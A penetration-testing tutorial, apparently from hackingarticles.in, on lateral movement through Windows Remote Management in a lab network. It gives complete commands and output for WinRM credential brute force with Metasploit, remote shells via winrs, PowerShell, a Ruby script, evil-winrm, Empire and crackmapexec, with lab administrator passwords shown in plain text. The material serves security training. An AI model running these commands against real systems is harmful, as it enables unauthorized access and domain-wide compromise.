iGNITE Technologies

Lateral Movement
Windows Remote Management

(Mitre ID: T1021.006)

WWW.HACKINGARTICLES.IN

Contents

Introduction

we will discuss all possible methods and tools used for WinRM penetration testing. Let's get deep into the WinRM service and its security assessment and learn more. This attack can be performed locally (using a Windows client machine) and remotely (using Kali Linux).

Lab Setup

Windows Server 2016: 192.168.1.105

Windows 10 client: 192.168.106

Kali Linux: 192.168.1.112

WinRM Service

WinRM is a command-line tool that enables administrators to remotely execute CMD.exe commands using the WS-Management protocol. This specification describes a general SOAP-based protocol for managing systems such as PCs, servers, devices, Web services, other applications, and other manageable entities. It uses port 5985 for HTTP transport and port 5986 for HTTPS transport.

On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for private and domain networks through the WinRM service.

History of WinRM

Version 1.1 of Winrm has been found in Windows Vista and Windows Server 2008. Its version 2.0 has been found in Windows 7 and Windows Server 2008 R2, and the latest version 3.0 is pre-installed in Windows 8 and Windows 2012 Server, but you need to enable it in Windows 10.

WinRM Configuration

Configuring and installing WinRM is quite simple, but you only need to execute the commands below that will enable WinRM on the server for trusted hosts. Here we have given the wildcard character (*) to all the machines on the network. This type of configuration cloud is a threat to the server because it allows any machine to connect to a server that knows the server's credentials.

```
Enable-PSRemoting -Force
winrm quickconfig -transport:https
Set-Item wsman:\localhost\client\trustedhosts *
Restart-Service WinRM
```

Note: WinrRM Service should be Enabled on both machines (Server and client)

```
PS C:\Users\Administrator> Enable-PSRemoting -Force
PS C:\Users\Administrator> winrm quickconfig -transport:https
WinRM service is already running on this machine.
WSManFault
    Message
        ProviderFault
            WSManFault
                Message = Cannot create a WinRM listener on HTTPS because this ma
ificate. To be used for SSL, a certificate must have a CN matching the hostname,
n, and not be expired, revoked, or self-signed.

Error number:  -2144108267 0x80338115
Cannot create a WinRM listener on HTTPS because this machine does not have an app
L, a certificate must have a CN matching the hostname, be appropriate for Server
oked, or self-signed.
PS C:\Users\Administrator> Set-Item wsman:\localhost\client\trustedhosts *

WinRM Security Configuration.
This command modifies the TrustedHosts list for the WinRM client. The computers i
authenticated. The client might send credential information to these computers. A
this list?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y
PS C:\Users\Administrator> Restart-Service WinRM
PS C:\Users\Administrator>
```

Testing Connection

Now, with the help of the following command, we can check the server 's connectivity through any host machine on the network.

test-wsman -computername "WIN-S0V7KMTVLD2"
test-wsman -computername "192.168.1.105"

As you can see, the version details of the protocol and the product have been revealed, so this shows that we are capable of connecting to the server.

```
PS C:\Users\yashika.IGNITE.000> test-wsman -computername "WIN-S0V7KMTVLD2"

wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 3.0


PS C:\Users\yashika.IGNITE.000> test-wsman -computername "192.168.1.105"

wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 3.0


PS C:\Users\yashika.IGNITE.000>
```

Lateral Movement- Locally

Connecting Server shell using CMD

As we know, WinRM is used to get a remote machine shell just like SSH, so if you have compromised an account or system that is a trusted host, you can access the server shell with the help of CMD. Here, first, we try to run the system command remotely using the server credential and then execute the following command.

winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 ipconfig

```
C:\Users\yashika.IGNITE.000>winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :


C:\Users\yashika.IGNITE.000>_
```

Since we were able to run system command remotely thus, we try to access a remote shell with the help of the following command.

winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 cmd dir

```
C:\Users\yashika.IGNITE.000>winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 cmd
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1C84-81C0

 Directory of C:\Users\Administrator

06/06/2020  08:24 AM    <DIR>          .
06/06/2020  08:24 AM    <DIR>          ..
04/15/2020  05:27 AM    <DIR>          Contacts
06/05/2020  10:53 AM    <DIR>          Desktop
05/18/2020  01:39 PM    <DIR>          Documents
06/01/2020  12:43 PM    <DIR>          Downloads
04/15/2020  05:27 AM    <DIR>          Favorites
04/15/2020  05:27 AM    <DIR>          Links
04/15/2020  05:27 AM    <DIR>          Music
04/15/2020  05:27 AM    <DIR>          Pictures
04/15/2020  05:27 AM    <DIR>          Saved Games
04/15/2020  05:27 AM    <DIR>          Searches
04/15/2020  05:27 AM    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  42,851,508,224 bytes free

C:\Users\Administrator>
```

Connecting Remote shell using PowerShell

Just like a command prompt, you can also use PowerShell to remotely run arbitrary system commands and thus execute the following command through a compromised system.

Invoke-Command -ComputerName "192.168.1.105" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {net user administrator}

As a result you can we have enumerated user details for the administrator account.

```
PS C:\Users\yashika.IGNITE.000> Invoke-Command -ComputerName "192.168.1.105" -Credential workgroup\administrator -Authen
tication Negotiate -Port 5985 -ScriptBlock {net user administrator}
User name                    Administrator
Full Name
Comment                      Built-in account for administering the computer/domain
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            4/15/2020 5:26:40 AM
Password expires             Never
Password changeable          4/16/2020 5:26:40 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/6/2020 8:24:46 AM

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users         *Group Policy Creator
                             *Domain Admins        *Schema Admins
                             *Enterprise Admins
The command completed successfully.
```

Similarly, you can use PSSession to get a remote shell with PowerShell, so we need to run the following and get a server shell.

Enter-PSSession -ComputerName 192.168.1.105 -Credential administrator

```
PS C:\Users\yashika.IGNITE.000> Enter-PSSession -ComputerName 192.168.1.105 -Credential administrator
[192.168.1.105]: PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
[192.168.1.105]: PS C:\Users\Administrator\Documents>
```

Lateral Movement- Remotely

Scanning

So, first, you need to scan the host IP in order to identify available ports for WinRM and Nmap is the best tool to do so.

nmap -p5985,5986 -sV 192.168.1.105

From its scan, we found that 5985 (HTTP) is available for unsecure WinRM connections and 5986 (HTTPS) is available for secure WinRM connections.

```
root@kali:~# nmap -p5985,5986 -sV 192.168.1.105
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-06 13:44 EDT
Nmap scan report for 192.168.1.105
Host is up (0.00046s latency).

PORT     STATE SERVICE  VERSION
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:1F:07:D8 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Identify the WinRM Authentication Method

Further use can be made of Metasploit auxiliary to identify the authentication method used by WinRM. This module sends a request to an HTTP/HTTPS service to see if it is a WinRM service. If it is a WinRM service, it also gathers the authentication methods supported.

```
use auxiliary/scanner/winrm/winrm_auth_methods
set rhosts 192.168.1.105
exploit
```

```
msf5 > use auxiliary/scanner/winrm/winrm_auth_methods
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > set rhosts 192.168.1.105
rhosts => 192.168.1.105
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > exploit

[+] 192.168.1.105:5985: Negotiate protocol supported
[+] 192.168.1.105:5985: Kerberos protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/winrm/winrm_auth_methods) >
```

WinRM Login Brute Force

This module attempts to authenticate to a WinRM service. It currently works only if the remote end allows Negotiate (NTLM) authentication. Kerberos is not currently supported. Please note: in order to use this module without SSL, the 'AllowUnencrypted' winrm option must be set. Otherwise, adjust the port and set the SSL options in the module as appropriate.

```
use auxiliary/scanner/winrm/winrm_login
set rhosts 192.168.1.105
set user_file /root/user.txt
set pass_file /root/pass.txt
set stop_on_success true
exploit
```

As a result, it will try a valid combination of username and password and dump the output accordingly.

```
msf5 > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(scanner/winrm/winrm_login) > set rhosts 192.168.1.105
rhosts => 192.168.1.105
msf5 auxiliary(scanner/winrm/winrm_login) > set user_file /root/user.txt
user_file => /root/user.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set pass_file /root/pass.txt
pass_file => /root/pass.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set stop_on_success true
stop_on_success => true
msf5 auxiliary(scanner/winrm/winrm_login) > exploit

[!] No active DB -- Credential data will not be saved!
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:pass (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Password@1 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Password@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Ignite@987 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Ignite@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:pass (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Password@1 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Password@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Ignite@987 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Ignite@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:pass (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Password@1 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Password@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Ignite@987 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Ignite@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:pass (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Password@1 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Password@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Ignite@987 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Ignite@123 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:pass (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:Password@1 (Incorrect: )
[-] 192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:Password@123 (Incorrect: )
[+] 192.168.1.105:5985 - Login Successful: WORKSTATION\administrator:Ignite@987
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/winrm/winrm_login) >
```

Connect to Remote Shell through Ruby script

You can download the ruby script from GitHub that allows the Linux system to connect with Windows Protocol WinRM and provide access to the PowerShell of the target machine. Add the target IP, username, and password inside the download script, then install WinRM on your local machine and execute the script.

```
gem install winrm
cat winrm-shell.rb
ruby winrm-shell.rb
```

As a result, you will get PowerShell access to the target machine as shown.

```
root@kali:~# gem install winrm
Successfully installed winrm-2.3.4
Parsing documentation for winrm-2.3.4
Done installing documentation for winrm after 0 seconds
1 gem installed
root@kali:~# cat winrm-shell.rb
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://192.168.1.105:5985/wsman',
  user: 'administrator',
  password: 'Ignite@987',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end
root@kali:~# ruby winrm-shell.rb
PS > dir
PS > ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
PS >
```

Connecting Remote Shell through Evil-WinRM

Now using evil-winrm we try to access remote machine shell by connecting through port 5985 open for winrm. In our previous article we have already discussed on Evil-Winrm and its usage, you can more about it from **here**.

```
evil-winrm -i 192.168.1.105 -u administrator -p 'Ignite@987'
menu
ipconfig
```

As a result, it will give access to victim shell by providing its PowerShell as given below.

```
root@kali:~# evil-winrm -i 192.168.1.105 -u administrator -p 'Ignite@987'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'            (`     ``    ("  )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .    ;)   "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._.. ( '.._".._, . '._)_(..,_(_".) _( _')
\_   ____/__  _|__| |    ((  (  /  \    /  \__| ____\_____   \  /    \
 |    __)_\  V /  | |    ;_)_') \   \/\/   /  |/    \|      _/ /  \/  \
      \\   /   | |  |_ /_____/  \         /  |  |   \  |    V    Y    \
/_______ / \_/ |__|____/          \__/\  / |__|___| /____|_  /\____|__ /
        V                            V            V        V          V
              By: CyberVaca, OscarAkaElvis, Laox @Hackplayers

[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary

*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Connecting Remote Shell through PowerShell Empire

Once you've compromised the host machine using the empire, as we've done here. Using Powershell Empire, you can perform post-exploitation to access the server shell via the client machine using the WinRM service.

```
agents
interact 1MA7NT4R
info
```

```
(Empire: listeners) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay
 ----     -- -----------     ------------      --------                -------            ---    -----
 1MA7NT4R ps 192.168.1.106   CLIENT1           IGNITE\yashika          powershell         6968   5/0.0

(Empire: agents) > interact 1MA7NT4R
(Empire: 1MA7NT4R) > info

[*] Agent info:

        id                      1
        session_id              1MA7NT4R
        listener                http
        name                    1MA7NT4R
        language                powershell
        language_version        5
        delay                   5
        jitter                  0.0
        external_ip             192.168.1.106
        internal_ip             192.168.1.106
        username                IGNITE\yashika
        high_integrity          0
        process_name            powershell
        process_id              6968
        hostname                CLIENT1
        os_details              Microsoft Windows 10 Pro
        session_key             R;2K|uG^olq*t!?v}9nyDQxTWs=0,VOj
        nonce                   9779462265600831
        checkin_time            2020-06-06 14:31:52
        lastseen_time           2020-06-06 14:32:18
        parent                  None
        children                None
        servers                 None
        profile                 /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        kill_date
        working_hours
        lost_limit              60
        taskings                None

(Empire: 1MA7NT4R) >
```

```
usemodule lateral_movement/invoke_psremoting
set Listener http
set ComputerName 192.168.1.105
set UserName administrator
set Password Ignite@987
execute
agents
interact XYEB7F6L
info
```

And finally! We got the shell of the server through client machine.

```
(Empire: 1MA7NT4R) > usemodule lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) > set Listener http
(Empire: powershell/lateral_movement/invoke_psremoting) > set ComputerName 192.168.1.105
(Empire: powershell/lateral_movement/invoke_psremoting) > set UserName administrator
(Empire: powershell/lateral_movement/invoke_psremoting) > set Password Ignite@987
(Empire: powershell/lateral_movement/invoke_psremoting) > execute
[*] Tasked 1MA7NT4R to run TASK_CMD_WAIT
[*] Agent 1MA7NT4R tasked with task ID 1
[*] Tasked agent 1MA7NT4R to run module powershell/lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) >
[*] Sending POWERSHELL stager (stage 1) to 192.168.1.105
[*] New agent XYEB7F6L checked in
[+] Initial agent XYEB7F6L from 192.168.1.105 now active (Slack)
[*] Sending agent (stage 2) to XYEB7F6L at 192.168.1.105

(Empire: powershell/lateral_movement/invoke_psremoting) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process
 ----     -- -----------     ------------      --------                -------
 1MA7NT4R ps 192.168.1.106   CLIENT1           IGNITE\yashika          powershell
 XYEB7F6L ps 192.168.1.105   WIN-S0V7KMTVLD2   *IGNITE\Administrator   powershell

(Empire: agents) > interact XYEB7F6L
(Empire: XYEB7F6L) > info

[*] Agent info:

        id                      2
        session_id              XYEB7F6L
        listener                http
        name                    XYEB7F6L
        language                powershell
        language_version        5
        delay                   5
        jitter                  0.0
        external_ip             192.168.1.105
        internal_ip             192.168.1.105
        username                IGNITE\Administrator
        high_integrity          1
        process_name            powershell
        process_id              3560
        hostname                WIN-S0V7KMTVLD2
        os_details              Microsoft Windows Server 2016 Standard Evaluation
        session_key             &0P3`BF{)H•-YN;%?r~U}k≠Vxt/ZXv4
        nonce                   0264811606473456
        checkin_time            2020-06-06 14:35:15
        lastseen_time           2020-06-06 14:35:41
        parent                  None
        children                None
        servers                 None
        profile                 /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (W
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        kill_date
        working_hours
```

Connecting Remote Shell through Docker

Docker image of PowerShell with NTLM support to allow for PS-Remoting from Linux to Windows, hence we can use this to access the shell of the server by executing the following command.

Read more from **here**.

```
docker run -it quickbreach/powershell-ntlm
```

Once it will install the docker image, you will get the session for login credential as shown below in the image. As soon as you will enter the server login it will give a shell of the server.

```
root@kali:~# docker run -it quickbreach/powershell-ntlm
Unable to find image 'quickbreach/powershell-ntlm:latest' locally
latest: Pulling from quickbreach/powershell-ntlm
aeb7866da422: Pull complete
4e1916f27c9f: Pull complete
2011ef2c2dfb: Pull complete
43e50d384a14: Pull complete
9b8c213e2ea6: Pull complete
580adfdbbe6e: Pull complete
e6ec163021cb: Pull complete
Digest: sha256:81cb6748bbf055f65de83f62d91e924d9ff674b9a9223ad6e02c425db12b6a32
Status: Downloaded newer image for quickbreach/powershell-ntlm:latest
PowerShell 6.1.1
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /> $creds = Get-Credential

PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: **********

PS /> Enter-PSSession -ComputerName 192.168.1.105 -Authentication Negotiate -Credential $creds
[192.168.1.105]: PS C:\Users\Administrator\Documents> dir
[192.168.1.105]: PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
[192.168.1.105]: PS C:\Users\Administrator\Documents>
```

Connecting Remote Shell through Crackmapexec

Now using Crackmapexec we try to execute arbitrary system command remotely by connecting through port 5985 open for winrm. In our previous article we have already discussed on Crackmapexec and its usage, you can more about it from **here**.

```
crackmapexec winrm 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x ipconfig
```

As a result, it gives the output for the request command as shown.

```
root@kali:~# crackmapexec winrm 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x ipconfig
WINRM       192.168.1.105   5986   WIN-S0V7KMTVLD2  [*] https://192.168.1.105:5986/wsman
WINRM       192.168.1.105   5986   WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WINRM       192.168.1.105   5986   WIN-S0V7KMTVLD2  [+] Executed command
WINRM       192.168.1.105   5986   WIN-S0V7KMTVLD2
Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 3:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

root@kali:~#
```

Reference:

https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management

iGNITE Technologies

JOIN OUR TRAINING PROGRAMS

CLICK HERE

BEGINNER

- Ethical Hacking
- Network Pentest
- Bug Bounty
- Wireless Pentest
- Network Security Essentials

ADVANCED

- Burp Suite Pro
- Web Services-API
- Pro Infrastructure VAPT
- Computer Forensics
- Android Pentest
- Advanced Metasploit
- CTF

EXPERT

- Red Team Operation
  - APT's - MITRE Attack Tactics
  - Active Directory Attack
  - MSSQL Security Assessment
- Privilege Escalation
  - Windows
  - Linux